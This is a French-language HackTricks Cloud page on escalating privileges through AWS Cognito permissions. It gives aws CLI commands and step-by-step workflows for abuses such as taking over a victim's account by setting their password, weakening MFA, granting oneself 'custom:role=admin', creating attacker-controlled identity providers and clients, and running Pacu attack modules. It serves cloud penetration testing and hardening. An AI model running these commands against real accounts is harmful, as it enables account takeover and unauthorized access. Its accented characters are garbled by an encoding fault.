AWS - Cognito Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Cognito
Pour plus dâinformations sur Cognito, consultez :
RĂ©cupĂ©ration des identifiants depuis lâIdentity Pool
Comme Cognito peut accorder des identifiants de rĂŽle IAM Ă la fois aux utilisateurs authentifiĂ©s et aux utilisateurs non authentifiĂ©s, si vous localisez lâIdentity Pool ID dâune application (il devrait y ĂȘtre codĂ© en dur) vous pouvez obtenir de nouveaux identifiants et donc effectuer du privesc (dans un compte AWS oĂč vous nâaviez probablement mĂȘme aucun identifiant auparavant).
Pour plus dâinformations consultez cette page.
Impact potentiel : privesc direct sur le rÎle de service attaché aux utilisateurs non authentifiés (et probablement sur celui attaché aux utilisateurs authentifiés).
cognito-identity:SetIdentityPoolRoles, iam:PassRole
Avec cette permission vous pouvez accorder nâimporte quel cognito role aux utilisateurs authentifiĂ©s/non authentifiĂ©s de lâapplication Cognito.
aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>
# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374"
Si lâapplication Cognito nâa pas les utilisateurs non authentifiĂ©s activĂ©s vous pourriez aussi avoir besoin de la permission cognito-identity:UpdateIdentityPool pour lâactiver.
Impact potentiel : Privesc direct vers nâimporte quel rĂŽle Cognito.
cognito-identity:update-identity-pool
Un attaquant disposant de cette permission pourrait, par exemple, configurer un Cognito User Pool sous son contrĂŽle ou tout autre fournisseur dâidentitĂ© oĂč il peut se connecter comme moyen dâaccĂ©der Ă ce Cognito Identity Pool. Ensuite, il suffit de se connecter auprĂšs de ce fournisseur pour lui permettre dâaccĂ©der au authenticated role configurĂ© dans lâIdentity Pool.
# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false
# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:
# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
Il est Ă©galement possible dâabuser de cette permission pour autoriser lâauthentification basique:
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow
Impact potentiel: Compromettre le rĂŽle IAM authentifiĂ© configurĂ© dans lâidentity pool.
cognito-idp:AdminAddUserToGroup
Cette permission permet de ajouter un utilisateur Cognito Ă un groupe Cognito, donc un attaquant pourrait abuser de cette permission pour ajouter un utilisateur sous son contrĂŽle Ă dâautres groupes avec des privilĂšges plus Ă©levĂ©s ou des rĂŽles IAM diffĂ©rents:
aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>
Impact potentiel : Privesc vers dâautres Cognito groups et les IAM roles attachĂ©s aux User Pool Groups.
(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole
Un attaquant disposant de ces autorisations pourrait crĂ©er/mettre Ă jour des groupes avec tous les IAM roles pouvant ĂȘtre utilisĂ©s par un Cognito Identity Provider compromis et ajouter un utilisateur compromis au groupe pour accĂ©der Ă tous ces rĂŽles :
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
Impact potentiel : Privesc vers dâautres rĂŽles IAM Cognito.
cognito-idp:AdminConfirmSignUp
Cette permission permet de vĂ©rifier une inscription. Par dĂ©faut, nâimporte qui peut sâinscrire aux applications Cognito ; si cela reste activĂ©, un utilisateur pourrait crĂ©er un compte avec nâimporte quelles donnĂ©es et le vĂ©rifier avec cette permission.
aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>
Impact potentiel : Privesc indirect vers le rĂŽle IAM de l identity pool pour les utilisateurs authentifiĂ©s si vous pouvez enregistrer un nouvel utilisateur. Privesc indirect sur dâautres fonctionnalitĂ©s de lâapplication pouvant confirmer nâimporte quel compte.
cognito-idp:AdminCreateUser
Cette permission permettrait à un attaquant de créer un nouvel utilisateur dans le user pool. Le nouvel utilisateur est créé activé, mais devra changer son mot de passe.
aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]
Impact potentiel : Privesc direct vers lâidentity pool IAM role pour les utilisateurs authentifiĂ©s. Privesc indirect vers dâautres fonctionnalitĂ©s de lâapplication permettant de crĂ©er nâimporte quel utilisateur
cognito-idp:AdminEnableUser
Cette permission peut aider dans un scĂ©nario trĂšs particulier oĂč un attaquant a trouvĂ© les identifiants dâun utilisateur dĂ©sactivĂ© et doit le rĂ©activer.
aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>
Impact potentiel : privesc indirect vers le rĂŽle IAM de lâidentity pool pour les utilisateurs authentifiĂ©s et les permissions de lâutilisateur si lâattaquant disposait des identifiants dâun utilisateur dĂ©sactivĂ©.
cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge
Cette permission permet de se connecter avec la method ADMIN_USER_PASSWORD_AUTH. Pour plus dâinformations, suivez le lien.
cognito-idp:AdminSetUserPassword
Cette permission permettrait Ă un attaquant de dĂ©finir un mot de passe connu pour nâimporte quel utilisateur, entraĂźnant gĂ©nĂ©ralement une prise de contrĂŽle directe du compte (surtout si la victime nâa pas activĂ© la MFA, ou si la MFA nâest pas appliquĂ©e au flux dâauthentification / au client concernĂ©).
aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent
Flux de travail courant :
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
VICTIM_USERNAME="<victim_username_or_email>"
NEW_PASS='P@ssw0rd-ChangeMe-123!'
# 1) Set a permanent password for the victim (takeover primitive)
aws cognito-idp admin-set-user-password \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$VICTIM_USERNAME" \
--password "$NEW_PASS" \
--permanent
# 2) Login as the victim against a User Pool App Client (doesn't require AWS creds)
CLIENT_ID="<user_pool_app_client_id>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$VICTIM_USERNAME,PASSWORD=$NEW_PASS"
Permission liĂ©e : cognito-idp:AdminResetUserPassword peut ĂȘtre utilisĂ©e pour forcer un flux de rĂ©initialisation pour une victime (lâimpact dĂ©pend de la maniĂšre dont la rĂ©cupĂ©ration de mot de passe est implĂ©mentĂ©e et de ce que lâattaquant peut intercepter ou contrĂŽler).
Impact potentiel : Prise de contrĂŽle de comptes dâutilisateurs arbitraires ; accĂšs aux privilĂšges au niveau applicatif (groups/roles/claims) et Ă tout ce qui fait confiance aux Cognito tokens en aval ; accĂšs potentiel aux Identity Pool authenticated IAM roles.
cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool
AdminSetUserSettings : Un attaquant pourrait potentiellement abuser de cette permission pour configurer un tĂ©lĂ©phone mobile sous son contrĂŽle comme SMS MFA dâun utilisateur.
aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>
SetUserMFAPreference: Semblable au prĂ©cĂ©dent, cette permission peut ĂȘtre utilisĂ©e pour dĂ©finir les prĂ©fĂ©rences MFA dâun utilisateur afin de contourner la protection MFA.
aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>
SetUserPoolMfaConfig: Similaire Ă la prĂ©cĂ©dente, cette permission peut ĂȘtre utilisĂ©e pour dĂ©finir les prĂ©fĂ©rences MFA dâun user pool afin de contourner la protection MFA.
aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]
UpdateUserPool: Il est aussi possible de mettre Ă jour le user pool pour changer la politique MFA. Check cli here.
Impact potentiel: privesc indirecte vers potentiellement tout utilisateur dont lâattaquant connaĂźt les identifiants, ceci pourrait permettre de contourner la protection MFA.
cognito-idp:AdminUpdateUserAttributes
Un attaquant disposant de cette permission peut modifier tout attribut mutable dâun utilisateur du User Pool (y compris les attributs custom:*) afin dâessayer dâobtenir des privilĂšges dans une application sous-jacente.
Un schĂ©ma courant Ă fort impact est le RBAC basĂ© sur les claims implĂ©mentĂ© en utilisant des attributs personnalisĂ©s (par exemple custom:role=admin). Si lâapplication fait confiance Ă cette assertion, la mettre Ă jour puis se rĂ©-authentifier peut contourner lâautorisation sans modifier lâapplication.
aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>
Exemple : escalader votre propre rĂŽle et rafraĂźchir les tokens :
REGION="us-east-1"
USER_POOL_ID="<user_pool_id>"
USERNAME="<your_username>"
# 1) Change the RBAC attribute (example)
aws cognito-idp admin-update-user-attributes \
--region "$REGION" \
--user-pool-id "$USER_POOL_ID" \
--username "$USERNAME" \
--user-attributes Name="custom:role",Value="admin"
# 2) Re-authenticate to obtain a token with updated claims
CLIENT_ID="<user_pool_app_client_id>"
PASSWORD="<your_password>"
aws cognito-idp initiate-auth \
--no-sign-request --region "$REGION" \
--client-id "$CLIENT_ID" \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters "USERNAME=$USERNAME,PASSWORD=$PASSWORD"
Impact potentiel : Escalade de privilĂšges indirecte dans des applications faisant confiance aux attributs/claims de Cognito pour lâautorisation ; possibilitĂ© de modifier dâautres attributs importants pour la sĂ©curitĂ© (par exemple dĂ©finir email_verified ou phone_number_verified Ă true peut avoir une importance dans certaines applications).
cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient
Un attaquant disposant de cette permission pourrait crĂ©er un nouveau User Pool Client moins restreint que les clients de pool dĂ©jĂ existants. Par exemple, le nouveau client pourrait autoriser nâimporte quelle mĂ©thode dâauthentification, ne pas avoir de secret, avoir la rĂ©vocation des tokens dĂ©sactivĂ©e, permettre aux tokens dâĂȘtre valides plus longtempsâŠ
La mĂȘme chose peut ĂȘtre faite si, au lieu de crĂ©er un nouveau client, un client existant est modifiĂ©.
Dans la command line (ou le update one) vous pouvez voir toutes les options â consultez-les !
aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]
Impact potentiel: PossibilitĂ© de privesc indirecte de lâutilisateur autorisĂ© de lâIdentity Pool utilisĂ© par le User Pool en crĂ©ant un nouveau client qui assouplit les mesures de sĂ©curitĂ© et permet Ă un attaquant de se connecter avec un utilisateur quâil a pu crĂ©er.
cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob
Un attaquant pourrait abuser de cette permission pour créer des utilisateurs en téléversant un CSV contenant de nouveaux utilisateurs.
# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>
# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>
# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
(Dans le cas oĂč vous crĂ©ez un nouveau import job vous pourriez aussi avoir besoin de la permission iam passrole, je ne lâai pas encore testĂ©e).
Impact potentiel : Privesc direct vers le identity pool IAM role pour les utilisateurs authentifiĂ©s. Privesc indirect vers dâautres fonctionnalitĂ©s de lâapplication permettant de crĂ©er nâimporte quel utilisateur.
cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider
Un attaquant pourrait créer un nouveau identity provider pour ensuite pouvoir login through this provider.
aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]
Impact potentiel : privesc direct sur le rĂŽle IAM de lâidentity pool pour les utilisateurs authentifiĂ©s. Privesc indirect sur dâautres fonctionnalitĂ©s de lâapplication pouvant crĂ©er nâimporte quel utilisateur.
cognito-sync:* Analyse
Câest une permission trĂšs courante par dĂ©faut dans les rĂŽles des Cognito Identity Pools. MĂȘme si un wildcard dans une permission paraĂźt toujours mauvais (surtout venant dâAWS), les permissions donnĂ©es ne sont pas trĂšs utiles du point de vue dâun attaquant.
Cette permission permet de lire des informations utilisateur des Identity Pools et des Identity IDs Ă lâintĂ©rieur des Identity Pools (ce qui nâest pas une information sensible).
Les Identity IDs peuvent avoir des Datasets qui leur sont assignĂ©s, ce sont des informations de session (AWS le dĂ©finit comme un saved game). Il est possible que cela contienne une forme dâinformation sensible (mais la probabilitĂ© est assez faible). Vous pouvez trouver sur la page dâĂ©numĂ©ration comment accĂ©der Ă ces informations.
Un attaquant pourrait Ă©galement utiliser ces permissions pour sâenregistrer sur un Cognito stream qui publie des changements sur ces datasets ou une lambda qui se dĂ©clenche sur des cognito events. Je nâai pas vu cela utilisĂ©, et je nâattendrais pas dâinformations sensibles ici, mais ce nâest pas impossible.
Outils automatiques
- Pacu, the AWS exploitation framework, inclut dĂ©sormais les modules âcognito__enumâ et âcognito__attackâ qui automatisent lâĂ©numĂ©ration de tous les assets Cognito dans un compte et signalent les configurations faibles, les attributs utilisateur utilisĂ©s pour le contrĂŽle dâaccĂšs, etc., et automatisent aussi la crĂ©ation dâutilisateurs (y compris le support MFA) et lâescalade de privilĂšges basĂ©e sur des attributs personnalisĂ©s modifiables, des credentials dâidentity pool utilisables, des rĂŽles assumables dans les id tokens, etc.
Pour une description des fonctions des modules, voir la partie 2 du blog post. Pour les instructions dâinstallation, voir la page principale Pacu.
Utilisation
Exemple dâutilisation de cognito__attack pour tenter la crĂ©ation dâutilisateur et tous les vecteurs de privesc contre un identity pool et un user pool client donnĂ©s :
Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
Exemple dâutilisation de cognito__enum pour rĂ©cupĂ©rer tous les user pools, user pool clients, identity pools, users, etc. visibles dans le compte AWS actuel :
Pacu (new:test) > run cognito__enum
- Cognito Scanner est un outil CLI en python qui implémente différentes attaques contre Cognito, y compris une privesc escalation.
Installation
$ pip install cognito-scanner
Utilisation
$ cognito-scanner --help
Pour plus dâinformations, consultez https://github.com/padok-team/cognito-scanner
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

